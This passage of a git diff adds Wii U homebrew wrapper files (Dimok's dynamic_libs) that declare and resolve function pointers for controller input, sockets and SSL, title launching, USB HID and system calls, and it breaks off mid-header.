addr_gDynloadInitialized)(void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Kernel function addresses +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern void (* addr_PrepareTitle_hook)(void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Other function addresses +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern void (*DCInvalidateRange)(void *buffer, uint32_t length); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Energy Saver functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +////Burn-in Reduction +extern int (*IMEnableDim)(void); +extern int (*IMDisableDim)(void); +extern int (*IMIsDimEnabled)(int * result); +//Auto power down +extern int (*IMEnableAPD)(void); +extern int (*IMDisableAPD)(void); +extern int (*IMIsAPDEnabled)(int * result); +extern int (*IMIsAPDEnabledBySysSettings)(int * result); + +extern int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); +extern int (*IOS_IoctlAsync)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len, void *cb, void *cbarg); +extern int (*IOS_Open)(char *path, unsigned int mode); +extern int (*IOS_Close)(int fd); +#ifdef __cplusplus +} +#endif + +#endif // __OS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/os_types.h b/installer/src/dynamic_libs/os_types.h new file mode 100644 index 0000000..aaa18fe --- /dev/null +++ b/installer/src/dynamic_libs/os_types.h @@ -0,0 +1,27 @@ +#ifndef _OS_TYPES_H_ +#define _OS_TYPES_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +typedef struct _OSCalendarTime { + int sec; + int min; + int hour; + int mday; + int mon; + int year; + int wday; + int yday; + int msec; + int usec; +} OSCalendarTime; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/installer/src/dynamic_libs/padscore_functions.c b/installer/src/dynamic_libs/padscore_functions.c new file mode 100644 index 0000000..f7ca8e9 --- /dev/null +++ b/installer/src/dynamic_libs/padscore_functions.c @@ -0,0 +1,61 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "padscore_functions.h" + +unsigned int padscore_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, KPADInit, void); +EXPORT_DECL(void, WPADInit, void); +EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type); +EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format); +EXPORT_DECL(void, WPADEnableURCC, s32 enable); +EXPORT_DECL(void, WPADRead, s32 chan, void * data); +EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); +EXPORT_DECL(void,WPADSetAutoSleepTime,u8 minute); +EXPORT_DECL(void,WPADDisconnect,s32 chan); + +void InitAcquirePadScore(void) +{ + OSDynLoad_Acquire("padscore.rpl", &padscore_handle); +} + +void InitPadScoreFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + InitAcquirePadScore(); + + OS_FIND_EXPORT(padscore_handle, WPADInit); + OS_FIND_EXPORT(padscore_handle, KPADInit); + OS_FIND_EXPORT(padscore_handle, WPADProbe); + OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat); + OS_FIND_EXPORT(padscore_handle, WPADEnableURCC); + OS_FIND_EXPORT(padscore_handle, WPADRead); + OS_FIND_EXPORT(padscore_handle, KPADRead); + OS_FIND_EXPORT(padscore_handle, WPADSetAutoSleepTime); + OS_FIND_EXPORT(padscore_handle, WPADDisconnect); + + KPADInit(); + WPADEnableURCC(1); +} diff --git a/installer/src/dynamic_libs/padscore_functions.h b/installer/src/dynamic_libs/padscore_functions.h new file mode 100644 index 0000000..5b000b1 --- /dev/null +++ b/installer/src/dynamic_libs/padscore_functions.h @@ -0,0 +1,171 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __PAD_SCORE_FUNCTIONS_H_ +#define __PAD_SCORE_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "dynamic_libs/vpad_functions.h" + +extern unsigned int padscore_handle; + +#include + +#define WPAD_BUTTON_LEFT 0x0001 +#define WPAD_BUTTON_RIGHT 0x0002 +#define WPAD_BUTTON_DOWN 0x0004 +#define WPAD_BUTTON_UP 0x0008 +#define WPAD_BUTTON_PLUS 0x0010 +#define WPAD_BUTTON_2 0x0100 +#define WPAD_BUTTON_1 0x0200 +#define WPAD_BUTTON_B 0x0400 +#define WPAD_BUTTON_A 0x0800 +#define WPAD_BUTTON_MINUS 0x1000 +#define WPAD_BUTTON_Z 0x2000 +#define WPAD_BUTTON_C 0x4000 +#define WPAD_BUTTON_HOME 0x8000 + +#define WPAD_CLASSIC_BUTTON_UP 0x0001 +#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 +#define WPAD_CLASSIC_BUTTON_ZR 0x0004 +#define WPAD_CLASSIC_BUTTON_X 0x0008 +#define WPAD_CLASSIC_BUTTON_A 0x0010 +#define WPAD_CLASSIC_BUTTON_Y 0x0020 +#define WPAD_CLASSIC_BUTTON_B 0x0040 +#define WPAD_CLASSIC_BUTTON_ZL 0x0080 +#define WPAD_CLASSIC_BUTTON_R 0x0200 +#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 +#define WPAD_CLASSIC_BUTTON_HOME 0x0800 +#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 +#define WPAD_CLASSIC_BUTTON_L 0x2000 +#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 +#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 + +#define WPAD_PRO_BUTTON_UP 0x00000001 +#define WPAD_PRO_BUTTON_LEFT 0x00000002 +#define WPAD_PRO_TRIGGER_ZR 0x00000004 +#define WPAD_PRO_BUTTON_X 0x00000008 +#define WPAD_PRO_BUTTON_A 0x00000010 +#define WPAD_PRO_BUTTON_Y 0x00000020 +#define WPAD_PRO_BUTTON_B 0x00000040 +#define WPAD_PRO_TRIGGER_ZL 0x00000080 +#define WPAD_PRO_RESERVED 0x00000100 +#define WPAD_PRO_TRIGGER_R 0x00000200 +#define WPAD_PRO_BUTTON_PLUS 0x00000400 +#define WPAD_PRO_BUTTON_HOME 0x00000800 +#define WPAD_PRO_BUTTON_MINUS 0x00001000 +#define WPAD_PRO_TRIGGER_L 0x00002000 +#define WPAD_PRO_BUTTON_DOWN 0x00004000 +#define WPAD_PRO_BUTTON_RIGHT 0x00008000 +#define WPAD_PRO_BUTTON_STICK_R 0x00010000 +#define WPAD_PRO_BUTTON_STICK_L 0x00020000 + +#define WPAD_PRO_STICK_L_EMULATION_UP 0x00200000 +#define WPAD_PRO_STICK_L_EMULATION_DOWN 0x00100000 +#define WPAD_PRO_STICK_L_EMULATION_LEFT 0x00040000 +#define WPAD_PRO_STICK_L_EMULATION_RIGHT 0x00080000 + +#define WPAD_PRO_STICK_R_EMULATION_UP 0x02000000 +#define WPAD_PRO_STICK_R_EMULATION_DOWN 0x01000000 +#define WPAD_PRO_STICK_R_EMULATION_LEFT 0x00400000 +#define WPAD_PRO_STICK_R_EMULATION_RIGHT 0x00800000 + +typedef struct _KPADData +{ + u32 btns_h; + u32 btns_d; + u32 btns_r; + u32 unused_1[5]; + f32 pos_x; + f32 pos_y; + u32 unused_2[3]; + f32 angle_x; + f32 angle_y; + u32 unused_3[8]; + u8 device_type; + u8 wpad_error; + u8 pos_valid; + u8 format; + + union + { + struct + { + f32 stick_x; + f32 stick_y; + } nunchuck; + + struct + { + u32 btns_h; + u32 btns_d; + u32 btns_r; + f32 lstick_x; + f32 lstick_y; + f32 rstick_x; + f32 rstick_y; + f32 ltrigger; + f32 rtrigger; + } classic; + + struct + { + u32 btns_h; + u32 btns_d; + u32 btns_r; + f32 lstick_x; + f32 lstick_y; + f32 rstick_x; + f32 rstick_y; + int charging; + int wired; + } pro; + + u32 unused_6[20]; + }; + u32 unused_7[16]; +} KPADData; +void InitPadScoreFunctionPointers(void); +void InitAcquirePadScore(void); + +typedef void (* wpad_connect_callback_t)(s32 chan, s32 status); + +extern void (* KPADInit)(void); +extern void (* WPADInit)(void); +extern s32 (* WPADProbe)(s32 chan, u32 * pad_type); +extern s32 (* WPADSetDataFormat)(s32 chan, s32 format); +extern void (* WPADEnableURCC)(s32 enable); +extern void (* WPADRead)(s32 chan, void * data); +extern s32 (* KPADRead)(s32 chan, void * data, u32 size); +extern s32 (* KPADReadEx)(s32 chan, KPADData * data, u32 size, s32 *error); +extern void (*WPADSetAutoSleepTime)(u8 time); +extern void (*WPADDisconnect)( s32 chan ); + +#ifdef __cplusplus +} +#endif + +#endif // __PAD_SCORE_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/socket_functions.c b/installer/src/dynamic_libs/socket_functions.c new file mode 100644 index 0000000..de2c31f --- /dev/null +++ b/installer/src/dynamic_libs/socket_functions.c @@ -0,0 +1,81 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "socket_functions.h" + +u32 hostIpAddress = 0; + +unsigned int nsysnet_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, socket_lib_init, void); +EXPORT_DECL(int, socket, int domain, int type, int protocol); +EXPORT_DECL(int, socketclose, int s); +EXPORT_DECL(int, connect, int s, void *addr, int addrlen); +EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); +EXPORT_DECL(int, listen, s32 s,u32 backlog); +EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); +EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); +EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); +EXPORT_DECL(int, recvfrom,int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); +EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); +EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); +EXPORT_DECL(char *, inet_ntoa, struct in_addr in); +EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); + +EXPORT_DECL(int, NSSLWrite, int connection, const void* buf, int len,int * written); +EXPORT_DECL(int, NSSLRead, int connection, const void* buf, int len,int * read); +EXPORT_DECL(int, NSSLCreateConnection, int context, const char* host, int hotlen,int options,int sock,int block); + +void InitAcquireSocket(void) +{ + OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); +} + +void InitSocketFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + InitAcquireSocket(); + + OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); + OS_FIND_EXPORT(nsysnet_handle, socket); + OS_FIND_EXPORT(nsysnet_handle, socketclose); + OS_FIND_EXPORT(nsysnet_handle, connect); + OS_FIND_EXPORT(nsysnet_handle, bind); + OS_FIND_EXPORT(nsysnet_handle, listen); + OS_FIND_EXPORT(nsysnet_handle, accept); + OS_FIND_EXPORT(nsysnet_handle, send); + OS_FIND_EXPORT(nsysnet_handle, recv); + OS_FIND_EXPORT(nsysnet_handle, recvfrom); + OS_FIND_EXPORT(nsysnet_handle, sendto); + OS_FIND_EXPORT(nsysnet_handle, setsockopt); + OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); + OS_FIND_EXPORT(nsysnet_handle, inet_aton); + + OS_FIND_EXPORT(nsysnet_handle, NSSLWrite); + OS_FIND_EXPORT(nsysnet_handle, NSSLRead); + OS_FIND_EXPORT(nsysnet_handle, NSSLCreateConnection); + + socket_lib_init(); +} diff --git a/installer/src/dynamic_libs/socket_functions.h b/installer/src/dynamic_libs/socket_functions.h new file mode 100644 index 0000000..1e4df1a --- /dev/null +++ b/installer/src/dynamic_libs/socket_functions.h @@ -0,0 +1,108 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SOCKET_FUNCTIONS_H_ +#define __SOCKET_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int nsysnet_handle; + +#include + +#define INADDR_ANY 0 + +#define AF_INET 2 + +#define SOCK_STREAM 1 +#define SOCK_DGRAM 2 + +#define IPPROTO_IP 0 +#define IPPROTO_TCP 6 +#define IPPROTO_UDP 17 + +#define TCP_NODELAY 0x2004 + +#define SOL_SOCKET -1 +#define SO_REUSEADDR 0x0004 +#define SO_NONBLOCK 0x1016 +#define SO_MYADDR 0x1013 +#define SO_RCVTIMEO 0x1006 + +#define SOL_SOCKET -1 +#define MSG_DONTWAIT 32 + +#define htonl(x) x +#define htons(x) x +#define ntohl(x) x +#define ntohs(x) x + + +struct in_addr { + unsigned int s_addr; +}; +struct sockaddr_in { + short sin_family; + unsigned short sin_port; + struct in_addr sin_addr; + char sin_zero[8]; +}; + +struct sockaddr +{ + unsigned short sa_family; + char sa_data[14]; +}; + + +void InitSocketFunctionPointers(void); +void InitAcquireSocket(void); + +extern void (*socket_lib_init)(void); +extern int (*socket)(int domain, int type, int protocol); +extern int (*socketclose)(int s); +extern int (*connect)(int s, void *addr, int addrlen); +extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); +extern int (*listen)(s32 s,u32 backlog); +extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); +extern int (*send)(int s, const void *buffer, int size, int flags); +extern int (*recv)(int s, void *buffer, int size, int flags); +extern int (*recvfrom)(int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); + +extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); +extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); + +extern int (* NSSLWrite)(int connection, const void* buf, int len,int * written); +extern int (* NSSLRead)(int connection, const void* buf, int len,int * read); +extern int (* NSSLCreateConnection)(int context, const char* host, int hotlen,int options,int sock,int block); + +extern char * (*inet_ntoa)(struct in_addr in); +extern int (*inet_aton)(const char *cp, struct in_addr *inp); + +#ifdef __cplusplus +} +#endif + +#endif // __SOCKET_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/sys_functions.c b/installer/src/dynamic_libs/sys_functions.c new file mode 100644 index 0000000..2cd44b8 --- /dev/null +++ b/installer/src/dynamic_libs/sys_functions.c @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" + + unsigned int sysapp_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(int, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); +EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); +EXPORT_DECL(int, SYSLaunchMenu, void); +EXPORT_DECL(int, SYSCheckTitleExists, u64 titleId); +EXPORT_DECL(int, SYSLaunchTitle, u64 titleId); +EXPORT_DECL(int, SYSLaunchSettings, int unk); + +void InitAcquireSys(void) +{ + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); +} + +void InitSysFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + InitAcquireSys(); + + OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); + OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); + OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); + OS_FIND_EXPORT(sysapp_handle, SYSCheckTitleExists); + OS_FIND_EXPORT(sysapp_handle, SYSLaunchTitle); + OS_FIND_EXPORT(sysapp_handle, SYSLaunchSettings); +} diff --git a/installer/src/dynamic_libs/sys_functions.h b/installer/src/dynamic_libs/sys_functions.h new file mode 100644 index 0000000..64fc2c7 --- /dev/null +++ b/installer/src/dynamic_libs/sys_functions.h @@ -0,0 +1,48 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SYS_FUNCTIONS_H_ +#define __SYS_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int sysapp_handle; + +void InitSysFunctionPointers(void); +void InitAcquireSys(void); + +extern int(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); +extern int (* SYSRelaunchTitle)(int argc, char** argv); +extern int (* SYSLaunchMenu)(void); +extern int (* SYSCheckTitleExists)(u64 titleId); +extern int (* SYSLaunchTitle)(u64 titleId); +extern int (* SYSLaunchSettings)(int unk); + + +#ifdef __cplusplus +} +#endif + +#endif // __SYS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/syshid_functions.c b/installer/src/dynamic_libs/syshid_functions.c new file mode 100644 index 0000000..996d39d --- /dev/null +++ b/installer/src/dynamic_libs/syshid_functions.c @@ -0,0 +1,78 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "syshid_functions.h" + +unsigned int syshid_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(int, HIDSetup,void); +EXPORT_DECL(int, HIDTeardown,void); + +EXPORT_DECL(int, HIDAddClient,HIDClient *p_client, HIDAttachCallback attach_callback); +EXPORT_DECL(int, HIDDelClient,HIDClient *p_client); + +EXPORT_DECL(int, HIDGetDescriptor,unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); +EXPORT_DECL(int, HIDSetDescriptor,unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); + +EXPORT_DECL(int, HIDSetProtocol,unsigned int handle,u8 interface_index,u8 protocol, HIDCallback hc, void *p_user); +EXPORT_DECL(int, HIDGetProtocol,unsigned int handle,u8 interface_index,u8 * protocol, HIDCallback hc, void *p_user); + +EXPORT_DECL(int, HIDGetReport,u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); +EXPORT_DECL(int, HIDSetReport,u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); + +EXPORT_DECL(int, HIDSetIdle,unsigned int handle, u8 interface_index,u8 duration, HIDCallback hc, void *p_user); + +EXPORT_DECL(int, HIDRead,unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); +EXPORT_DECL(int, HIDWrite,unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); + +void InitAcquireSysHID(void) +{ + OSDynLoad_Acquire("nsyshid.rpl", &syshid_handle); +} + +void InitSysHIDFunctionPointers(void) +{ + InitAcquireSysHID(); + + if(syshid_handle == 0){ + return; + } + + unsigned int funcPointer = 0; + + //! assigning those is not mandatory and it does not always work to load them + OS_FIND_EXPORT(syshid_handle, HIDSetup); + OS_FIND_EXPORT(syshid_handle, HIDTeardown); + OS_FIND_EXPORT(syshid_handle, HIDAddClient); + OS_FIND_EXPORT(syshid_handle, HIDDelClient); + OS_FIND_EXPORT(syshid_handle, HIDGetDescriptor); + OS_FIND_EXPORT(syshid_handle, HIDSetDescriptor); + OS_FIND_EXPORT(syshid_handle, HIDRead); + OS_FIND_EXPORT(syshid_handle, HIDWrite); + OS_FIND_EXPORT(syshid_handle, HIDSetProtocol); + OS_FIND_EXPORT(syshid_handle, HIDGetProtocol); + OS_FIND_EXPORT(syshid_handle, HIDSetIdle); + OS_FIND_EXPORT(syshid_handle, HIDGetReport); + OS_FIND_EXPORT(syshid_handle, HIDSetReport); +} diff --git a/installer/src/dynamic_libs/syshid_functions.h b/installer/src/dynamic_libs/syshid_functions.h new file mode 100644 index 0000000..08213b4 --- /dev/null +++ b/installer/src/dynamic_libs/syshid_functions.h @@ -0,0 +1,90 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SYSHID_FUNCTIONS_H_ +#define __SYSHID_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int syshid_handle; + +typedef struct +{ + unsigned int handle; + unsigned int physical_device_inst; + unsigned short vid; + unsigned short pid; + unsigned char interface_index; + unsigned char sub_class; + unsigned char protocol; + + unsigned short max_packet_size_rx; + unsigned short max_packet_size_tx; + +} HIDDevice; + +typedef struct _HIDClient HIDClient; + +#define HID_DEVICE_DETACH 0 +#define HID_DEVICE_ATTACH 1 + +typedef int (*HIDAttachCallback)(HIDClient *p_hc,HIDDevice *p_hd,unsigned int attach); + +struct _HIDClient +{ + HIDClient *next; + HIDAttachCallback attach_cb; +}; + +typedef void (*HIDCallback)(unsigned int handle,int error,unsigned char *p_buffer,unsigned int bytes_transferred,void *p_user); + +void InitSysHIDFunctionPointers(void); +void InitAcquireSysHID(void); + +extern int(*HIDSetup)(void); +extern int(*HIDTeardown)(void); + +extern int(*HIDAddClient)(HIDClient *p_client, HIDAttachCallback attach_callback); +extern int(*HIDDelClient)(HIDClient *p_client); + +extern int(*HIDGetDescriptor)(unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); +extern int(*HIDSetDescriptor)(unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); + +extern int(*HIDGetReport)(u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); +extern int(*HIDSetReport)(u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); + +extern int(*HIDSetIdle)(unsigned int handle, u8 interface_index,u8 duration, HIDCallback hc, void *p_user); + +extern int(* HIDSetProtocol)(unsigned int handle,u8 interface_index,u8 protocol, HIDCallback hc, void *p_user); +extern int(* HIDGetProtocol)(unsigned int handle,u8 interface_index,u8 * protocol, HIDCallback hc, void *p_user); + +extern int(*HIDRead)(unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); +extern int(*HIDWrite)(unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); + +#ifdef __cplusplus +} +#endif + +#endif // __SYSHID_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/vpad_functions.c b/installer/src/dynamic_libs/vpad_functions.c new file mode 100644 index 0000000..201cf34 --- /dev/null +++ b/installer/src/dynamic_libs/vpad_functions.c @@ -0,0 +1,55 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "vpad_functions.h" + +unsigned int vpad_handle __attribute__((section(".data"))) = 0; +unsigned int vpadbase_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, VPADInit, void); +EXPORT_DECL(int, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); +EXPORT_DECL(int, VPADGetLcdMode, int padnum, int *lcdmode); +EXPORT_DECL(int, VPADSetLcdMode, int padnum, int lcdmode); +EXPORT_DECL(int, VPADBASEGetMotorOnRemainingCount, int padnum); +EXPORT_DECL(int, VPADBASESetMotorOnRemainingCount, int padnum, int counter); + +void InitAcquireVPad(void) +{ + OSDynLoad_Acquire("vpad.rpl", &vpad_handle); + OSDynLoad_Acquire("vpadbase.rpl", &vpadbase_handle); +} + +void InitVPadFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + InitAcquireVPad(); + + OS_FIND_EXPORT(vpad_handle, VPADInit); + OS_FIND_EXPORT(vpad_handle, VPADRead); + OS_FIND_EXPORT(vpad_handle, VPADGetLcdMode); + OS_FIND_EXPORT(vpad_handle, VPADSetLcdMode); + OS_FIND_EXPORT(vpadbase_handle, VPADBASEGetMotorOnRemainingCount); + OS_FIND_EXPORT(vpadbase_handle, VPADBASESetMotorOnRemainingCount); +} diff --git a/installer/src/dynamic_libs/vpad_functions.h b/installer/src/dynamic_libs/vpad_functions.h new file mode 100644 index 0000000..4fafda2 --- /dev/null +++ b/installer/src/dynamic_libs/vpad_functions.h @@ -0,0 +1,114 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __VPAD_FUNCTIONS_H_ +#define __VPAD_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +extern unsigned int vpad_handle; +extern unsigned int vpadbase_handle; + +#include + +#define VPAD_BUTTON_A 0x8000 +#define VPAD_BUTTON_B 0x4000 +#define VPAD_BUTTON_X 0x2000 +#define VPAD_BUTTON_Y 0x1000 +#define VPAD_BUTTON_LEFT 0x0800 +#define VPAD_BUTTON_RIGHT 0x0400 +#define VPAD_BUTTON_UP 0x0200 +#define VPAD_BUTTON_DOWN 0x0100 +#define 